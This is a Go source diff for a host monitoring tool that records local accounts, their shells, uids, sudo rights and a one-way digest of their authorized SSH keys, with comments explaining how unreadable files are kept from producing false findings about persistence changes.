if f, _ := deltaFilter([]deltaEvent{c.ev}, young, st, now); len(f) != 0 {
|
||||
t.Fatalf("%s: reported on the first pass", c.what)
|
||||
}
|
||||
// Pass 2: it survived, so it is a finding — and it did NOT come and go.
|
||||
old := deltaNoise{Self: 1, Sockets: true, Listening: map[int]bool{},
|
||||
Age: func(int) (time.Duration, bool) { return time.Hour, true }}
|
||||
f, _ := deltaFilter([]deltaEvent{c.ev}, old, st, now.Add(deltaRefreshEvery))
|
||||
if len(f) != 1 {
|
||||
t.Fatalf("%s: a survivor was not reported: %d findings", c.what, len(f))
|
||||
}
|
||||
if st.settledThisPass != 0 || st.ShortLived != 0 {
|
||||
t.Errorf("%s: still present and reported, yet counted as having come and gone "+
|
||||
"(settledThisPass=%d ShortLived=%d)", c.what, st.settledThisPass, st.ShortLived)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,408 @@
|
||||
package main
|
||||
|
||||
// IDENTITIES ENTER THE ACCOUNTING.
|
||||
//
|
||||
// Persistence on a machine is usually an ACCOUNT, not a process: a user with a
|
||||
// shell, a sudo rule, a key appended to authorized_keys. All three survive a
|
||||
// reboot and none of them is a running program, so the process half of this
|
||||
// plane cannot see any of them however well it works.
|
||||
//
|
||||
// WHAT IS RECORDED, AND WHAT DELIBERATELY IS NOT. This runs on the person's own
|
||||
// computer, so the rule is that the accounting holds the SHAPE of an identity
|
||||
// and never its content:
|
||||
//
|
||||
// recorded account name, its shell, uid, whether it holds sudo rights,
|
||||
// how many authorized keys it has, and a digest over the key
|
||||
// set
|
||||
// NOT recorded any key material, any password hash, the text of a sudo rule,
|
||||
// any home directory content
|
||||
//
|
||||
// The digest is what makes `authkeys_changed` mean something a count cannot: a
|
||||
// key swapped for another key is the same count and a different machine. It is
|
||||
// a one-way hash over the key bodies, salted by baselineVersion like every
|
||||
// other fingerprint here, so the accounting cannot be read back into keys.
|
||||
//
|
||||
// AND NONE OF IT LEAVES THE BOX. What rides the heartbeat is deltaSummary
|
||||
// (deltarun.go:75-88) — four counts, the baseline state, timestamps and a note
|
||||
// string. No entry, no name, no digest. The findings themselves stay on the
|
||||
// machine and are read there with `observe:delta`. That was already true for
|
||||
// processes; it is what makes this class safe to add, and it is why nothing in
|
||||
// here may ever be put into a Note.
|
||||
//
|
||||
// THE SLOT IS THE ACCOUNT. Its shell, sudo and keys are in the fingerprint, so
|
||||
// changing any of them is a change to a known account rather than a new one
|
||||
// appearing — see baselineSlot. `identity_new` is then exactly what it says: an
|
||||
// account that was not there before.
|
||||
|
||||
import (
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// identityObs is one account as the box observed it. Platform-neutral so the
|
||||
// constructors below are testable without a filesystem.
|
||||
type identityObs struct {
|
||||
Name string
|
||||
UID int
|
||||
Shell string
|
||||
// Sudo is whether this account is named by a sudo rule or sits in a group
|
||||
// that is. The RULE ITSELF IS NOT KEPT — only that one exists.
|
||||
Sudo bool
|
||||
// SudoUnknown is set when the sudo rules could not be read at all. THIS IS
|
||||
// NOT `Sudo == false`: reporting every account as unprivileged because this
|
||||
// process could not open /etc/sudoers would make the next readable pass
|
||||
// fire `sudoers_changed` at CRITICAL for every one of them. It is the same distinction DigestNote draws for a process whose
|
||||
// executable could not be read, and it belongs in the FINGERPRINT rather
|
||||
// than beside it, because only what is fingerprinted is compared.
|
||||
SudoUnknown bool
|
||||
// AuthKeys is how many authorized keys the account has, and KeyDigest is a
|
||||
// one-way digest over their bodies. Both, because a count alone cannot see
|
||||
// a swap and a digest alone cannot be read by a person.
|
||||
AuthKeys int
|
||||
KeyDigest string
|
||||
KeysUnread string // why the key file could not be read, when it could not
|
||||
}
|
||||
|
||||
// identityScanReport is what a platform's reader returns, including its own
|
||||
// blindness. A reader that cannot look must say so: "no accounts with a shell"
|
||||
// and "I could not read the account database" are different machines and this
|
||||
// plane's whole discipline is not conflating them.
|
||||
type identityScanReport struct {
|
||||
Supported bool
|
||||
Reason string
|
||||
Accounts []identityObs
|
||||
// Partial names a half that was readable in principle and failed in fact —
|
||||
// sudo rules unreadable, a home directory that could not be entered. The
|
||||
// accounting keeps what it got and says which half is short.
|
||||
Partial string
|
||||
}
|
||||
|
||||
// baselineFromIdentities is the single constructor, shared by BOTH sides for
|
||||
// the reason deltaCollectLiveFrom gives: two spellings of this is how the
|
||||
// accounting and the live scan drift apart.
|
||||
func baselineFromIdentities(ids []identityObs) []baselineEntry {
|
||||
out := make([]baselineEntry, 0, len(ids))
|
||||
seen := map[string]bool{}
|
||||
for _, id := range ids {
|
||||
e := baselineEntryOfIdentity(id)
|
||||
if seen[e.FP] {
|
||||
continue
|
||||
}
|
||||
seen[e.FP] = true
|
||||
out = append(out, e)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// identityUnknown is what an unreadable property records as. A marker rather
|
||||
// than an absent field, for the reason DigestNote gives: an absent value reads
|
||||
// as "nothing there", and "I could not look" is a different fact.
|
||||
const identityUnknown = "?"
|
||||
|
||||
func baselineEntryOfIdentity(id identityObs) baselineEntry {
|
||||
// The fingerprinted state of the account, in one field. Ordered and
|
||||
// explicit so a reader can see exactly what a change in this entry means.
|
||||
// UNKNOWN IS A THIRD VALUE AND IT IS IN THE FINGERPRINT. "this box could
|
||||
// not look" compared as "there are none" is the defect this plane's file
|
||||
// headers say it has shipped before, and on this class it is expensive: an
|
||||
// unreadable key file read as keys=0 produced `authkeys_changed` at HIGH
|
||||
// carrying "authorized keys 1 → 0", i.e. the sentence "keys were removed"
|
||||
// about a box that never looked.
|
||||
sudo := strconv.FormatBool(id.Sudo)
|
||||
if id.SudoUnknown {
|
||||
sudo = identityUnknown
|
||||
}
|
||||
keys, digest := strconv.Itoa(id.AuthKeys), id.KeyDigest
|
||||
if id.KeysUnread != "" {
|
||||
keys, digest = identityUnknown, identityUnknown
|
||||
}
|
||||
state := "shell=" + id.Shell +
|
||||
";uid=" + strconv.Itoa(id.UID) +
|
||||
";sudo=" + sudo +
|
||||
";keys=" + keys +
|
||||
";keydigest=" + digest
|
||||
e := baselineEntry{
|
||||
Kind: "identity",
|
||||
Unit: id.Name, // the slot: the account
|
||||
User: id.Name,
|
||||
ArgvShape: state,
|
||||
Origin: "account-database",
|
||||
}
|
||||
if id.KeysUnread != "" {
|
||||
// Same rule as DigestNote on a process: an absent number reads as zero,
|
||||
// and "this box could not look" is a different fact.
|
||||
e.DigestNote = "authorized keys not readable: " + id.KeysUnread
|
||||
}
|
||||
e.FP = baselineFP(e.Kind, e.ExeDigest, e.User, e.Unit, e.ArgvShape)
|
||||
return e
|
||||
}
|
||||
|
||||
// identityKeyDigest is a one-way digest over a key set, order-independent.
|
||||
//
|
||||
// SORTED BEFORE HASHING, because the order of lines in an authorized_keys file
|
||||
// is not a fact about the machine — an editor, a config-management run or a
|
||||
// re-write can reorder it without granting or revoking anything. Unsorted, the
|
||||
// first such rewrite would report `authkeys_changed` on every box that had one,
|
||||
// which is the kind of false finding that teaches people to ignore this plane.
|
||||
//
|
||||
// Salted with baselineVersion like every other fingerprint here. STATED
|
||||
// EXACTLY, because the first version of this line claimed more than it
|
||||
// delivers: the salt is a public constant in an open
|
||||
// repo, so it defeats a GENERIC rainbow table and not one built for this
|
||||
// program, and for an account with a single key the digest is a checkable
|
||||
// guess against a candidate public key. That is acceptable here and it is not
|
||||
// nothing: the file is 0600 and local, and anyone who can read it can read
|
||||
// authorized_keys itself. It is not a reason to put a key body in the file.
|
||||
func identityKeyDigest(keys []string) string {
|
||||
if len(keys) == 0 {
|
||||
return ""
|
||||
}
|
||||
norm := make([]string, 0, len(keys))
|
||||
for _, k := range keys {
|
||||
k = strings.TrimSpace(k)
|
||||
if k == "" || strings.HasPrefix(k, "#") {
|
||||
continue
|
||||
}
|
||||
// The comment field is the part a person edits freely ("erin@laptop"),
|
||||
// and it grants nothing. Keeping it would report a renamed key as a new
|
||||
// one. Type and body are what authorise.
|
||||
f := strings.Fields(k)
|
||||
if len(f) >= 2 {
|
||||
k = f[0] + " " + f[1]
|
||||
}
|
||||
norm = append(norm, k)
|
||||
}
|
||||
if len(norm) == 0 {
|
||||
return ""
|
||||
}
|
||||
sort.Strings(norm)
|
||||
sum := sha256.Sum256([]byte(baselineVersion + "\x00authkeys\x00" + strings.Join(norm, "\n")))
|
||||
return hex.EncodeToString(sum[:16])
|
||||
}
|
||||
|
||||
// identityCountKeys is the number of real keys in an authorized_keys body —
|
||||
// blanks and comments are not grants.
|
||||
func identityCountKeys(keys []string) int {
|
||||
n := 0
|
||||
for _, k := range keys {
|
||||
k = strings.TrimSpace(k)
|
||||
if k == "" || strings.HasPrefix(k, "#") {
|
||||
continue
|
||||
}
|
||||
n++
|
||||
}
|
||||
return n
|
||||
}
|
||||
|
||||
// identityIsLoginShell answers whether a shell can be logged in with. The list
|
||||
// is the conventional set of "no" shells; anything else counts as yes.
|
||||
//
|
||||
// DEFAULTING TO YES IS THE SAFE DIRECTION and is chosen deliberately. An
|
||||
// unfamiliar shell on an account is more interesting, not less, so an unknown
|
||||
// value must not silently drop the account out of the accounting — which is
|
||||
// what a default-no would do, and it would do it for exactly the account
|
||||
// somebody had reason to make unusual.
|
||||
func identityIsLoginShell(shell string) bool {
|
||||
s := strings.TrimSpace(shell)
|
||||
if s == "" {
|
||||
return false
|
||||
}
|
||||
switch s {
|
||||
case "/usr/sbin/nologin", "/sbin/nologin", "/usr/bin/nologin",
|
||||
"/bin/false", "/usr/bin/false", "/dev/null", "/bin/sync", "/usr/bin/sync":
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// ── reading an identity entry back ──────────────────────────────────────────
|
||||
//
|
||||
// The fingerprinted state is one string (baselineEntryOfIdentity), so these are
|
||||
// the accessors that turn it back into the facts a level rule and a sentence
|
||||
// need. Parsing what this file wrote is deliberate: the alternative is extra
|
||||
// fields on baselineEntry that only one class uses, and every one of those is
|
||||
// another field the digest rules in baseline.go would have to speak about.
|
||||
|
||||
func identityField(e baselineEntry, key string) string {
|
||||
for _, part := range strings.Split(e.ArgvShape, ";") {
|
||||
if v, ok := strings.CutPrefix(part, key+"="); ok {
|
||||
return v
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// identitySudo returns whether a sudo rule names this account and whether that
|
||||
// is KNOWN. Every caller must handle the second value.
|
||||
//
|
||||
// IT DID NOT HAVE ONE, AND identityKeys' comment explains exactly why that was
|
||||
// wrong: "a level rule that reads an unknown count as zero is exactly the bug
|
||||
// this marker exists to stop". The sudo half had no flag and mapped `?` to
|
||||
// false, and the level table read it directly — so an account arriving with
|
||||
// sudo, on a box whose sudoers could not be read, graded high, or WARN if it
|
||||
// took a service uid, which an attacker picks freely.
|
||||
func (e baselineEntry) identitySudo() (bool, bool) {
|
||||
raw := identityField(e, "sudo")
|
||||
if raw == identityUnknown || raw == "" {
|
||||
return false, false
|
||||
}
|
||||
return raw == "true", true
|
||||
}
|
||||
|
||||
// identitySudoOrFalse is for the two places that are comparing two entries and
|
||||
// have already established both sides are known (sudoKnownBothSides). Nothing
|
||||
// else may use it.
|
||||
func (e baselineEntry) identitySudoOrFalse() bool {
|
||||
v, _ := e.identitySudo()
|
||||
return v
|
||||
}
|
||||
|
||||
func sudoKnownBothSides(was, now baselineEntry) bool {
|
||||
_, wok := was.identitySudo()
|
||||
_, nok := now.identitySudo()
|
||||
return wok && nok
|
||||
}
|
||||
|
||||
func keysKnownBothSides(was, now baselineEntry) bool {
|
||||
_, wok := was.identityKeys()
|
||||
_, nok := now.identityKeys()
|
||||
return wok && nok
|
||||
}
|
||||
|
||||
// identityKeys returns the count and whether it is KNOWN. Every caller must
|
||||
// handle the second value: a level rule that reads an unknown count as zero is
|
||||
// exactly the bug this marker exists to stop.
|
||||
func (e baselineEntry) identityKeys() (int, bool) {
|
||||
raw := identityField(e, "keys")
|
||||
if raw == identityUnknown {
|
||||
return 0, false
|
||||
}
|
||||
n, err := strconv.Atoi(raw)
|
||||
if err != nil {
|
||||
return 0, false
|
||||
}
|
||||
return n, true
|
||||
}
|
||||
|
||||
// identityUnreadable is true when any fingerprinted property of this account
|
||||
// could not be read on the pass that produced the entry.
|
||||
func (e baselineEntry) identityUnreadable() bool {
|
||||
return identityField(e, "sudo") == identityUnknown ||
|
||||
identityField(e, "keys") == identityUnknown
|
||||
}
|
||||
|
||||
func (e baselineEntry) identityShell() string { return identityField(e, "shell") }
|
||||
|
||||
func (e baselineEntry) identityKeyDigest() string { return identityField(e, "keydigest") }
|
||||
|
||||
// identityChangeReason names WHICH property of an account moved, most
|
||||
// consequential first. An account can change in more than one way at once —
|
||||
// granting sudo and adding a key is one administrative act — and the reason
|
||||
// reports the one that matters most while identityChangeWords says all of them.
|
||||
func identityChangeReason(was, now baselineEntry) string {
|
||||
// WHAT WAS READABLE CLASSIFIES FIRST, AND THE ORDER IS THE WHOLE POINT.
|
||||
//
|
||||
// The first version of this put the unreadable case at the top, citing the
|
||||
// process half's deltaReasonUnreadable branch — and copied the wrong half of
|
||||
// it. delta.go:693-700 checks HIGH before it checks unreadable, precisely so
|
||||
// that "this was replaced AND it now talks to a model" cannot be demoted to
|
||||
// a visibility notice by the unreadable shortcut. Putting unreadable first
|
||||
// here did exactly that, one rung worse: measured against the real code, a
|
||||
// sudo grant on an account whose keys could not be read came out
|
||||
// `notice [digest_unreadable]` while the sentence beside it said "a sudo
|
||||
// rule now names this account". The box knew, said so, and graded it as
|
||||
// nothing. `usermod -u 0` with unreadable keys did the same.
|
||||
//
|
||||
// It was also sticky and machine-wide: the `?` lives in the ACCOUNTING, so
|
||||
// one baseline taken with /home unmounted graded every later change to
|
||||
// every one of those accounts a notice until somebody retook it.
|
||||
//
|
||||
// So: a property that MOVED and was readable on both sides is the reason.
|
||||
// Unreadable is what is left when nothing readable moved — which is the
|
||||
// only case where the comparison really is about visibility.
|
||||
switch {
|
||||
case sudoKnownBothSides(was, now) && was.identitySudoOrFalse() != now.identitySudoOrFalse():
|
||||
return deltaReasonSudoers
|
||||
case keysKnownBothSides(was, now) &&
|
||||
(identityField(was, "keys") != identityField(now, "keys") ||
|
||||
was.identityKeyDigest() != now.identityKeyDigest()):
|
||||
return deltaReasonAuthKeys
|
||||
case was.identityShell() != now.identityShell():
|
||||
return deltaReasonShell
|
||||
case identityField(was, "uid") != identityField(now, "uid"):
|
||||
return deltaReasonUID
|
||||
case was.identityUnreadable() || now.identityUnreadable():
|
||||
// NOTHING READABLE MOVED and one side did not look — so the difference
|
||||
// between these two entries IS the visibility, and nothing about the
|
||||
// account may be asserted from it.
|
||||
return deltaReasonUnreadable
|
||||
}
|
||||
return deltaReasonCommand
|
||||
}
|
||||
|
||||
// identityChangeWords is the sentence a person reads. It names every property
|
||||
// that moved, never the key material — see this file's header for the rule.
|
||||
func identityChangeWords(was, now baselineEntry) string {
|
||||
var parts []string
|
||||
ws, wsok := was.identitySudo()
|
||||
ns, nsok := now.identitySudo()
|
||||
switch {
|
||||
case !wsok || !nsok:
|
||||
// THE CAVEAT THE KEYS HALF ALREADY HAD AND THIS ONE DID NOT. With the
|
||||
// baseline at `?` and the pass reading true, the sentence was "a sudo
|
||||
// rule now names this account" — asserting a GRANT whose previous state
|
||||
// the box never saw.
|
||||
parts = append(parts, "this machine could not read the sudo rules on one "+
|
||||
"of the two passes, so this account's sudo rights were not compared")
|
||||
case ws != ns && ns:
|
||||
parts = append(parts, "a sudo rule now names this account")
|
||||
case ws != ns:
|
||||
parts = append(parts, "no sudo rule names this account any more")
|
||||
}
|
||||
wk, wok := was.identityKeys()
|
||||
nk, nok := now.identityKeys()
|
||||
switch {
|
||||
case !wok || !nok:
|
||||
// ONE SIDE DID NOT LOOK, so nothing may be said about the keys. The
|
||||
// sentence that used to come out here was "authorized keys 1 → 0",
|
||||
// i.e. keys were removed, about a box that never read the file.
|
||||
parts = append(parts, "this machine could not read this account's "+
|
||||
"authorized keys on one of the two passes, so they were not compared")
|
||||
case wk != nk:
|
||||
parts = append(parts, "authorized keys "+strconv.Itoa(wk)+" → "+strconv.Itoa(nk))
|
||||
case was.identityKeyDigest() != now.identityKeyDigest():
|
||||
// THE CASE A COUNT CANNOT SEE, and the reason the digest is kept at
|
||||
// all: one key swapped for another is the same number and a different
|
||||
// machine.
|
||||
parts = append(parts, "the same number of authorized keys, but not the same keys")
|
||||
}
|
||||
if was.identityShell() != now.identityShell() {
|
||||
parts = append(parts, "shell "+was.identityShell()+" → "+now.identityShell())
|
||||
}
|
||||
if u1, u2 := identityField(was, "uid"), identityField(now, "uid"); u1 != u2 {
|
||||
parts = append(parts, "uid "+u1+" → "+u2)
|
||||
}
|
||||
if len(parts) == 0 {
|
||||
return "this account's recorded state changed"
|
||||
}
|
||||
return strings.Join(parts, "; ")
|
||||
}
|
||||
|
||||
// listenerIsExposed answers whether a listener faces anything but this machine.
|
||||
// It decides high-versus-warn on listener_new, and nothing else.
|
||||
//
|
||||
// LOOPBACK IS THE ONLY THING TREATED AS UNEXPOSED, and unknown counts as
|
||||
// exposed. A bind address this does not recognise is more interesting, not
|
||||
// less — the safe direction is the one that reports.
|
||||
func listenerIsExposed(e baselineEntry) bool {
|
||||
addr := listenerAddr(e)
|
||||
switch addr {
|
||||
case "127.0.0.1", "::1", "localhost":
|
||||
return false
|
||||
}
|
||||
// The whole 127/8 range, which a service is entitled to bind anywhere in.
|
||||
return !strings.HasPrefix(addr, "127.")
|
||||
}
|
||||
@@ -0,0 +1,425 @@
|
||||
//go:build linux
|
||||
|
||||
package main
|
||||
|
||||
// The Linux account reader. Everything here is a read; nothing in this file
|
||||
// writes, and nothing it reads leaves the machine (baseline_identity.go says
|
||||
// what does).
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// identityScan reads the accounts this machine can be logged into as.
|
||||
//
|
||||
// ONLY ACCOUNTS WITH A LOGIN SHELL. A stock Debian has some fifty system
|
||||
// accounts — daemon, bin, sys, www-data — every one of them nologin, none of
|
||||
// them a way in, and all of them noise that would bury the one account that
|
||||
// matters. The filter is on the shell because that is the property that makes
|
||||
// an account a route onto the box.
|
||||
//
|
||||
// A NON-ROOT RUN IS BLIND HERE AND SAYS SO. /etc/passwd is world-readable, so
|
||||
// the account list comes out either way — but the sudo rules and every other
|
||||
// user's authorized_keys do not, and an accounting that silently recorded
|
||||
// "0 keys" for every account would report the truth backwards. deltaPass
|
||||
// already refuses to run as a non-administrator; this is the second guard.
|
||||
// This platform reads both classes, so a failed read while the accounting is
|
||||
// taken is written `unread`, not `unsupported` (baselineCoverageRead).
|
||||
const (
|
||||
listenersReadableHere = true
|
||||
identitiesReadableHere = true
|
||||
)
|
||||
|
||||
func identityScan() identityScanReport {
|
||||
f, err := os.Open(identityPath("/etc/passwd"))
|
||||
if err != nil {
|
||||
return identityScanReport{Reason: "the account database could not be read: " + err.Error()}
|
||||
}
|
||||
defer f.Close()
|
||||
|
||||
sudoers, sudoPartial := sudoPrincipals()
|
||||
|
||||
// WHERE SSHD ACTUALLY LOOKS FOR KEYS, which is not always the default pair.
|
||||
// A box with `AuthorizedKeysFile /etc/ssh/authorized_keys/%u` recorded "no
|
||||
// keys" for every account, silently — the class went narrow with no note,
|
||||
// and a new account holding central keys graded high instead of critical.
|
||||
keyPaths, keyNote := authorizedKeysPaths()
|
||||
|
||||
r := identityScanReport{Supported: true, Partial: strings.TrimSpace(sudoPartial + " " + keyNote)}
|
||||
sc := bufio.NewScanner(f)
|
||||
for sc.Scan() {
|
||||
line := strings.TrimSpace(sc.Text())
|
||||
if line == "" || strings.HasPrefix(line, "#") {
|
||||
continue
|
||||
}
|
||||
// name:passwd:uid:gid:gecos:home:shell
|
||||
p := strings.Split(line, ":")
|
||||
if len(p) < 7 {
|
||||
continue
|
||||
}
|
||||
shell := strings.TrimSpace(p[6])
|
||||
if !identityIsLoginShell(shell) {
|
||||
continue
|
||||
}
|
||||
uid, err := strconv.Atoi(strings.TrimSpace(p[2]))
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
name := strings.TrimSpace(p[0])
|
||||
// THE PARTIAL IS NOW LOAD-BEARING. It was set here and read NOWHERE,
|
||||
// so unreadable sudo rules recorded sudo=false for
|
||||
// every account — and the next readable pass fired `sudoers_changed` at
|
||||
// CRITICAL for each one, saying a rule had been removed that had never
|
||||
// been seen.
|
||||
id := identityObs{Name: name, UID: uid, Shell: shell,
|
||||
Sudo: sudoers[name], SudoUnknown: sudoPartial != ""}
|
||||
keys, unread := authorizedKeysOf(strings.TrimSpace(p[5]), name, strconv.Itoa(uid), keyPaths)
|
||||
id.AuthKeys, id.KeyDigest, id.KeysUnread = identityCountKeys(keys), identityKeyDigest(keys), unread
|
||||
r.Accounts = append(r.Accounts, id)
|
||||
}
|
||||
if err := sc.Err(); err != nil {
|
||||
// UNSUPPORTED, NOT PARTIAL, and the difference is which half is short.
|
||||
// Partial means "some PROPERTY of these accounts is narrow" and the
|
||||
// entries are still compared. A scanner error drops ENTRIES — measured
|
||||
// with one 70 KB GECOS line, 2 accounts of 5 — and comparing that set
|
||||
// reports the tail as identity_gone and never sees an account created
|
||||
// after the long line at all. Same family as the failed `ss`, and the
|
||||
// same answer listenerScan gives: refuse the class.
|
||||
return identityScanReport{Reason: "the account database could not be read to the end: " + err.Error()}
|
||||
}
|
||||
return r
|
||||
}
|
||||
|
||||
// authorizedKeysOf reads an account's keys. Returns the lines and, when it
|
||||
// could not look, why — never an empty list standing in for both.
|
||||
func authorizedKeysOf(home, user, uid string, paths []string) (keys []string, unread string) {
|
||||
if home == "" {
|
||||
return nil, "no home directory recorded"
|
||||
}
|
||||
// BOTH CONVENTIONAL PATHS. sshd's default AuthorizedKeysFile is
|
||||
// ".ssh/authorized_keys .ssh/authorized_keys2", and the second is still
|
||||
// honoured on a stock install — a key parked there would be a working way
|
||||
// in that an accounting reading only the first would never see.
|
||||
var missing int
|
||||
for _, rel := range paths {
|
||||
b, err := os.ReadFile(authorizedKeysPath(rel, home, user, uid))
|
||||
if err != nil {
|
||||
if os.IsNotExist(err) {
|
||||
missing++
|
||||
continue
|
||||
}
|
||||
// Permission denied is the interesting one: it means this account
|
||||
// HAS a key file this process may not read, which is not the same
|
||||
// as having none.
|
||||
return keys, err.Error()
|
||||
}
|
||||
keys = append(keys, strings.Split(string(b), "\n")...)
|
||||
}
|
||||
if missing == len(paths) && len(keys) == 0 {
|
||||
// BOTH FILES ABSENT MEANS ONE OF TWO THINGS, and they are not the same.
|
||||
// If the home directory itself is not there, this
|
||||
// box did not look — an unmounted /home, a network home not yet
|
||||
// available, an account whose home was never created. Reading that as
|
||||
// "no keys" makes every account report `authkeys_changed` the moment
|
||||
// the mount appears. A home that IS there with no .ssh is genuinely
|
||||
// none, and says nothing.
|
||||
if _, err := os.Stat(home); err != nil {
|
||||
return nil, "home directory not readable: " + err.Error()
|
||||
}
|
||||
return nil, ""
|
||||
}
|
||||
return keys, ""
|
||||
}
|
||||
|
||||
// authorizedKeysPaths is what sshd_config says AuthorizedKeysFile is, or the
|
||||
// default pair when it says nothing. Tokens are left in place and expanded per
|
||||
// account by authorizedKeysPath.
|
||||
//
|
||||
// Returns a note when the setting is NOT the default, because a narrowed or
|
||||
// relocated key lookup changes what this whole class can see and the person is
|
||||
// entitled to know that rather than reading a confident "0 keys".
|
||||
// sshdConfigPath is a var for the same reason as listenerSockets: a test must
|
||||
// be able to hand this an sshd_config, and the machine's own is not one it may
|
||||
// write.
|
||||
var sshdConfigPath = "/etc/ssh/sshd_config"
|
||||
|
||||
// identityRoot is "/" in production and a fixture directory in a test. Without
|
||||
// it nothing could execute identityScan itself, so its WIRING — that it sets
|
||||
// SudoUnknown, that it feeds the sshd_config paths through, that it carries the
|
||||
// narrowed-lookup note — was untestable and a mutation sweep found every one of
|
||||
// those unguarded.
|
||||
var identityRoot = "/"
|
||||
|
||||
func identityPath(p string) string {
|
||||
if identityRoot == "/" || identityRoot == "" {
|
||||
return p
|
||||
}
|
||||
return filepath.Join(identityRoot, p)
|
||||
}
|
||||
|
||||
func authorizedKeysPaths() ([]string, string) {
|
||||
def := []string{".ssh/authorized_keys", ".ssh/authorized_keys2"}
|
||||
b, err := os.ReadFile(sshdConfigPath)
|
||||
if err != nil {
|
||||
if os.IsNotExist(err) {
|
||||
return def, "" // no sshd here; the default pair is the right guess
|
||||
}
|
||||
return def, "sshd_config not readable, so authorized-key locations are assumed to be the default"
|
||||
}
|
||||
// INCLUDE IS THE DEBIAN 12 / UBUNTU 22.04 DEFAULT LAYOUT, and missing it put
|
||||
// this straight back to the "no keys" failure with no note: a drop-in under
|
||||
// /etc/ssh/sshd_config.d/*.conf sets AuthorizedKeysFile and nothing here saw
|
||||
// it. One level of Include, which is what the
|
||||
// stock layout uses; deeper nesting is named as a limit rather than walked.
|
||||
body := string(b)
|
||||
for _, line := range strings.Split(string(b), "\n") {
|
||||
f := strings.Fields(strings.TrimSpace(line))
|
||||
if len(f) < 2 || !strings.EqualFold(f[0], "Include") {
|
||||
continue
|
||||
}
|
||||
for _, pat := range f[1:] {
|
||||
if !filepath.IsAbs(pat) {
|
||||
pat = filepath.Join(filepath.Dir(sshdConfigPath), pat)
|
||||
}
|
||||
if hits, err := filepath.Glob(pat); err == nil {
|
||||
for _, h := range hits {
|
||||
if ib, err := os.ReadFile(h); err == nil {
|
||||
body += "\n" + string(ib)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
for _, line := range strings.Split(body, "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if line == "" || strings.HasPrefix(line, "#") {
|
||||
continue
|
||||
}
|
||||
f := strings.Fields(line)
|
||||
// A Match BLOCK SCOPES EVERYTHING AFTER IT to some users or addresses,
|
||||
// so an AuthorizedKeysFile inside one is NOT the global setting and
|
||||
// applying it to every account would be wrong in the confident
|
||||
// direction. Stop at the first Match and say the lookup may be narrower
|
||||
// than what was read.
|
||||
if strings.EqualFold(f[0], "Match") {
|
||||
break
|
||||
}
|
||||
if len(f) < 2 || !strings.EqualFold(f[0], "AuthorizedKeysFile") {
|
||||
continue
|
||||
}
|
||||
if strings.EqualFold(f[1], "none") {
|
||||
return nil, "sshd is configured with AuthorizedKeysFile none, so no account has ssh keys to account for"
|
||||
}
|
||||
// NO PATH IN THIS STRING. It reaches deltaSummary.Note, which rides the
|
||||
// heartbeat — so the first version of it put a line of the user's own
|
||||
// sshd configuration on the wire every pass. This file's header promises the class adds nothing that leaves
|
||||
// the machine, and it was written when every note was a fixed sentence.
|
||||
// The generic form does the note's whole job: it tells the person the
|
||||
// class is narrowed and to go look. The path is on their box already.
|
||||
return f[1:], "authorized keys are read from a location this platform " +
|
||||
"does not choose, so what this class can see depends on that setting"
|
||||
}
|
||||
return def, ""
|
||||
}
|
||||
|
||||
// authorizedKeysPath expands sshd's tokens in one AuthorizedKeysFile entry.
|
||||
// A relative path is relative to the account's home, which is sshd's own rule.
|
||||
func authorizedKeysPath(pattern, home, user, uid string) string {
|
||||
// %% FIRST, VIA A PLACEHOLDER, or its own percent gets eaten by the token
|
||||
// that follows it. Measured: `%%h/.ssh/ak` expanded to
|
||||
// `/home/erin/%/home/erin/.ssh/ak`, because %h was substituted before %%
|
||||
// was collapsed. The path then does not exist, which
|
||||
// reads as ENOENT, which reads as "this account has no keys".
|
||||
const esc = "\x00pct\x00"
|
||||
p := strings.ReplaceAll(pattern, "%%", esc)
|
||||
p = strings.ReplaceAll(p, "%u", user)
|
||||
p = strings.ReplaceAll(p, "%U", uid)
|
||||
p = strings.ReplaceAll(p, "%h", home)
|
||||
p = strings.ReplaceAll(p, esc, "%")
|
||||
if filepath.IsAbs(p) {
|
||||
return p
|
||||
}
|
||||
return filepath.Join(home, p)
|
||||
}
|
||||
|
||||
// sudoPrincipals is the set of account names a sudo rule names, directly or
|
||||
// through a group.
|
||||
//
|
||||
// DELIBERATELY SHALLOW, and this is the honest limit of the class. It reads
|
||||
// every name in the User_List on the left of a rule, comma-separated with or
|
||||
// without spaces; it does not evaluate sudo's grammar, expand
|
||||
// netgroups, follow #includedir recursion beyond one level, or decide what a
|
||||
// rule actually permits. So `sudo=true` means "a rule names this account", not
|
||||
// "this account can become root" — and a rule that grants nothing still sets
|
||||
// it. That direction is the right one to be wrong in: a false true is a person
|
||||
// reading one extra line, a false false is a missed privilege grant.
|
||||
func sudoPrincipals() (map[string]bool, string) {
|
||||
out := map[string]bool{}
|
||||
var unreadable []string
|
||||
|
||||
files := []string{identityPath("/etc/sudoers")}
|
||||
if ents, err := os.ReadDir(identityPath("/etc/sudoers.d")); err == nil {
|
||||
for _, e := range ents {
|
||||
if e.IsDir() || strings.HasSuffix(e.Name(), "~") || strings.Contains(e.Name(), ".") {
|
||||
// sudo itself ignores names containing a dot or ending in ~.
|
||||
continue
|
||||
}
|
||||
files = append(files, filepath.Join(identityPath("/etc/sudoers.d"), e.Name()))
|
||||
}
|
||||
} else if !os.IsNotExist(err) {
|
||||
unreadable = append(unreadable, "/etc/sudoers.d")
|
||||
}
|
||||
|
||||
groups := map[string]bool{}
|
||||
var bodies []string
|
||||
for _, path := range files {
|
||||
b, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
unreadable = append(unreadable, path)
|
||||
continue
|
||||
}
|
||||
bodies = append(bodies, string(b))
|
||||
}
|
||||
sudoParse(bodies, out, groups)
|
||||
for name := range groupMembers(groups) {
|
||||
out[name] = true
|
||||
}
|
||||
if len(unreadable) > 0 {
|
||||
return out, "sudo rules not readable: " + strings.Join(unreadable, ", ")
|
||||
}
|
||||
